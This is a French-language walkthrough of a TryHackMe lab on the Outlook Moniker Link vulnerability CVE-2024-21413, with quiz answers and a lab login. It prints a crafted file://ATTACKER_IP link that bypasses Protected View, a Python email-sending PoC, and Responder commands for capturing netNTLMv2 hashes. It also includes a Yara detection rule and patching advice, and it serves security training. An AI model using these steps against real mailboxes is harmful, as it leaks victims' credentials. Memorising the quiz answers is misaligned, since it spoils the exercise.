
Le 13 février 2024, Microsoft a annoncé une vulnérabilité de RCE et de fuite d'identifiants dans Microsoft Outlook, identifiée sous le CVE-2024-21413 (Moniker Link). Haifei Li de Check Point Research est crédité de la découverte de cette vulnérabilité. La vulnérabilité contourne les mécanismes de sécurité d'Outlook lors du traitement d'un type spécifique de lien hypertexte.
Le 13 février 2024, Microsoft a annoncé une vulnérabilité de RCE et de fuite d'identifiants dans Microsoft Outlook, à laquelle a été attribué le CVE CVE-2024-21413 (Moniker Link). Haifei Li de Check Point Research est crédité de la découverte de la vulnérabilité.
La vulnérabilité contourne les mécanismes de sécurité d'Outlook lorsqu'il traite un type spécifique d'hyperlien appelé Moniker Link. Un attaquant peut en abuser en envoyant un e-mail contenant un Moniker Link malveillant à une victime, ce qui entraîne l'envoi des identifiants NTLM de l'utilisateur à l'attaquant une fois l'hyperlien cliqué.
Les détails concernant la notation de la vulnérabilité sont fournis dans le tableau ci-dessous :
CVSS Description Date de publication 13 février 2024 Article MS https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2024-21413 Impact Exécution de code à distance et fuite d'identifiants Gravité Critique Complexité de l'attaque Faible Score 9.8
On sait que la vulnérabilité affecte les versions suivantes d'Office :
Version Version Microsoft Office LTSC 2021 affecté à partir de 19.0.0 Microsoft 365 Apps for Enterprise affecté à partir de 16.0.1 Microsoft Office 2019 affecté à partir de 16.0.1 Microsoft Office 2016 affecté à partir de 16.0.0 avant 16.0.5435.1001
Notez que vous aurez besoin à la fois de l'AttackBox et de la machine vulnérable attachée à cette tâche. Pour déployer la VM jointe, appuyez sur le bouton vert Start Machine ci-dessous.
Nom d'utilisateur tryhackme Mot de passe Kkh3gv439dnq!
Quelle note de « Gravité » a été attribuée au CVE ? > RÉPONSE : Critique
Outlook peut afficher les e-mails au format HTML. Vous avez peut-être remarqué que vos newsletters préférées utilisent cela. De plus, Outlook peut analyser les hyperliens comme HTTP et HTTPS. Cependant, il peut également ouvrir des URL spécifiant des applications appelées Moniker Links. Normalement, Outlook affiche un avertissement de sécurité lorsque des applications externes sont déclenchées.
La Protected View d'Outlook est déclenchée lors du lancement d'une application externe
Cette fenêtre contextuelle est le résultat de la « Protected View » d'Outlook. La Protected View ouvre les e-mails contenant des pièces jointes, des hyperliens et du contenu similaire en mode lecture seule, bloquant des éléments tels que les macros (en particulier celles provenant de l'extérieur d'une organisation).
En utilisant le Moniker Link file:// dans notre hyperlien, nous pouvons demander à Outlook de tenter d'accéder à un fichier, par exemple un fichier sur un partage réseau (<a href="file://ATTACKER_IP/test">Click me</a>). Le protocole SMB est utilisé, ce qui implique l'utilisation des identifiants locaux pour l'authentification. Cependant, la « Protected View » d'Outlook intercepte et bloque cette tentative.
La vulnérabilité réside ici dans le fait de modifier notre hyperlien pour inclure le caractère spécial ! et du texte dans notre Moniker Link, ce qui permet de contourner la Protected View d'Outlook. Par exemple : <a href="file://ATTACKER_IP/test!exploit">Click me</a>.
En tant qu'attaquants, nous pouvons fournir un Moniker Link de cette nature pour l'attaque. Notez que le partage n'a pas besoin d'exister sur l'appareil distant, car une tentative d'authentification sera effectuée de toute façon, ce qui entraînera l'envoi du hash netNTLMv2 Windows de la victime à l'attaquant.
L'exécution de code à distance (RCE) est possible car les Moniker Links utilisent le Component Object Model (COM) sur Windows. Cependant, expliquer cela dépasse actuellement le cadre de cette salle, car il n'y a pas de preuve de concept publiée publiquement pour réaliser une RCE via ce CVE spécifique.
Quel type de Moniker Link utilisons-nous dans l'hyperlien ? > RÉPONSE : file:// Quel est le caractère spécial utilisé pour contourner la « Protected View » d'Outlook ? > RÉPONSE : !
Pour cette attaque, nous enverrons à notre victime un Moniker Link similaire à celui fourni dans la tâche précédente. L'objectif, en tant qu'attaquant, est de créer un e-mail destiné à la victime avec un Moniker Link qui contourne la « Protected View » d'Outlook, où le client de la victime tentera de charger un fichier à partir de notre machine d'attaque, ce qui entraînera la capture du hash netNTLMv2 de la victime.
Mais d'abord, passons en revue un PoC que j'ai créé (également disponible sur GitHub).
''' Author: CMNatic | https://github.com/cmnatic Version: 1.0 | 19/02/2024 ''' import smtplib from email.mime.text import MIMEText from email.mime.multipart import MIMEMultipart from email.utils import formataddr sender_email = '[email protected]' # Replace with your sender email address receiver_email = '[email protected]' # Replace with the recipient email address password = input("Enter your attacker email password: ") html_content = """\ """ message = MIMEMultipart() message['Subject'] = "CVE-2024-21413" message["From"] = formataddr(('CMNatic', sender_email)) message["To"] = receiver_email # Convert the HTML string into bytes and attach it to the message object msgHtml = MIMEText(html_content,'html') message.attach(msgHtml) server = smtplib.SMTP('MAILSERVER', 25) server.ehlo() try: server.login(sender_email, password) except Exception as err: print(err) exit(-1) try: server.sendmail(sender_email, [receiver_email], message.as_string()) print("\n Email delivered") except Exception as error: print(error) finally: server.quit()
Le PoC :
Utilisons Responder pour créer un écouteur SMB sur notre machine d'attaque. Pour l'AttackBox THM, l'interface sera -I ens5. Le nom de l'interface différera si vous utilisez votre propre appareil (ex. Kali). Si vous voulez un peu de travail supplémentaire, un serveur Impacket peut également être utilisé.
Lancement de Responder sur notre AttackBox
root@attackbox:# responder -I ens5
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder 3.1.1.0
Author: Laurent Gaffie ([email protected])
To kill this script hit CTRL-C
-- cut for brevity --
[+] Listening for events...
Ouvrons la machine vulnérable en appuyant sur le volet « CVE-2024-21413 » dans la vue à écran partagé.
Ouvrez Outlook en cliquant sur le raccourci « Outlook » sur le bureau. Lorsqu'Outlook s'est ouvert, cliquez sur « I don't want to sign in or create an account » dans la fenêtre contextuelle.
Ignorez la deuxième fenêtre contextuelle en cliquant sur le « X » en haut à droite de la fenêtre (vous devrez peut-être glisser la fenêtre un peu vers la gauche, selon la résolution de votre écran).
Une fois terminé, vous verrez l'interface Outlook. Pour cette salle, la boîte aux lettres de la victime a déjà été configurée dans Outlook pour vous.
Revenez à votre AttackBox. Nous allons copier et coller le PoC ci-dessus sur l'AttackBox.
Pour ce faire, nous allons créer un nouveau fichier sur l'AttackBox : nano exploit.py et utiliser le tiroir coulissant dans la vue à écran partagé. Référez-vous au GIF ci-dessous pour voir cela en action.
https://assets.tryhackme.com/additional/CVE-2024-21410/abcopypaste.gif
Nous devrons effectuer une configuration initiale sur notre AttackBox avant d'exécuter le script Python :
Une fois cela fait, nous pouvons exécuter l'exploit. Lorsque le mot de passe de l'e-mail de l'attaquant est demandé, saisissez « attacker ».
Exécution de exploit.py
root@attackbox:# python3 exploit.py Enter your attacker email password: attacker
Le script Python affichera « Email delivered » lorsque l'e-mail aura été envoyé. Si le script se plaint d'un échec d'authentification, assurez-vous d'avoir correctement remplacé les valeurs dans exploit.py. Revenons maintenant à la machine vulnérable et vérifions le nouvel e-mail :
Cliquez sur l'hyperlien « Click me » et revenez à notre session terminal « Responder » sur l'AttackBox :
Succès ! Le hash netNTLMv2 de la victime a été capturé sur notre AttackBox.
Quel est le nom de l'application que nous utilisons sur l'AttackBox pour capturer le hash de l'utilisateur ? > RÉPONSE : responder Quel type de hash est capturé une fois que l'hyperlien dans l'e-mail a été cliqué ? > RÉPONSE : netNTLMv2
Une règle Yara a été créée par Florian Roth pour détecter les e-mails contenant l'élément file:\ dans le Moniker Link.
CVE
-2024-21413 Yara rule created by Florian Roth
user@yourmachine:# cat cve-2024-21413.yar
rule EXPL_CVE_2024_21413_Microsoft_Outlook_RCE_Feb24 {
meta:
description = "Detects emails that contain signs of a method to exploit CVE-2024-21413 in Microsoft Outlook"
author = "X__Junior, Florian Roth"
reference = "https://github.com/xaitax/CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability/"
date = "2024-02-17"
modified = "2024-02-19"
score = 75
strings:
$a1 = "Subject: "
$a2 = "Received: "
$xr1 = /file:\/\/\/\\\\[^"']{6,600}\.(docx|txt|pdf|xlsx|pptx|odt|etc|jpg|png|gif|bmp|tiff|svg|mp4|avi|mov|wmv|flv|mkv|mp3|wav|aac|flac|ogg|wma|exe|msi|bat|cmd|ps1|zip|rar|7z|targz|iso|dll|sys|ini|cfg|reg|html|css|java|py|c|cpp|db|sql|mdb|accdb|sqlite|eml|pst|ost|mbox|htm|php|asp|jsp|xml|ttf|otf|woff|woff2|rtf|chm|hta|js|lnk|vbe|vbs|wsf|xls|xlsm|xltm|xlt|doc|docm|dot|dotm)!/
condition:
filesize < 1000KB
and all of ($a*)
and 1 of ($xr*)
}
De plus, la requête SMB de la victime vers le client peut être observée dans une capture de paquets avec un hash netNTLMv2 tronqué.
Cliquez-moi pour passer à la tâche suivante ! > RÉPONSE : PAS DE RÉPONSE
Microsoft a inclus des correctifs pour résoudre cette vulnérabilité dans la version de février du « Patch Tuesday ». Vous pouvez voir une liste des articles KB par version d'Office ici. La mise à jour d'Office via Windows Update ou le Microsoft Update Catalog est fortement recommandée.
De plus, en attendant, c'est un rappel opportun de pratiquer des mesures générales de cybersécurité sûres. Par exemple, rappeler aux utilisateurs de :
Cliquez-moi pour passer à la tâche suivante. > RÉPONSE : PAS DE RÉPONSE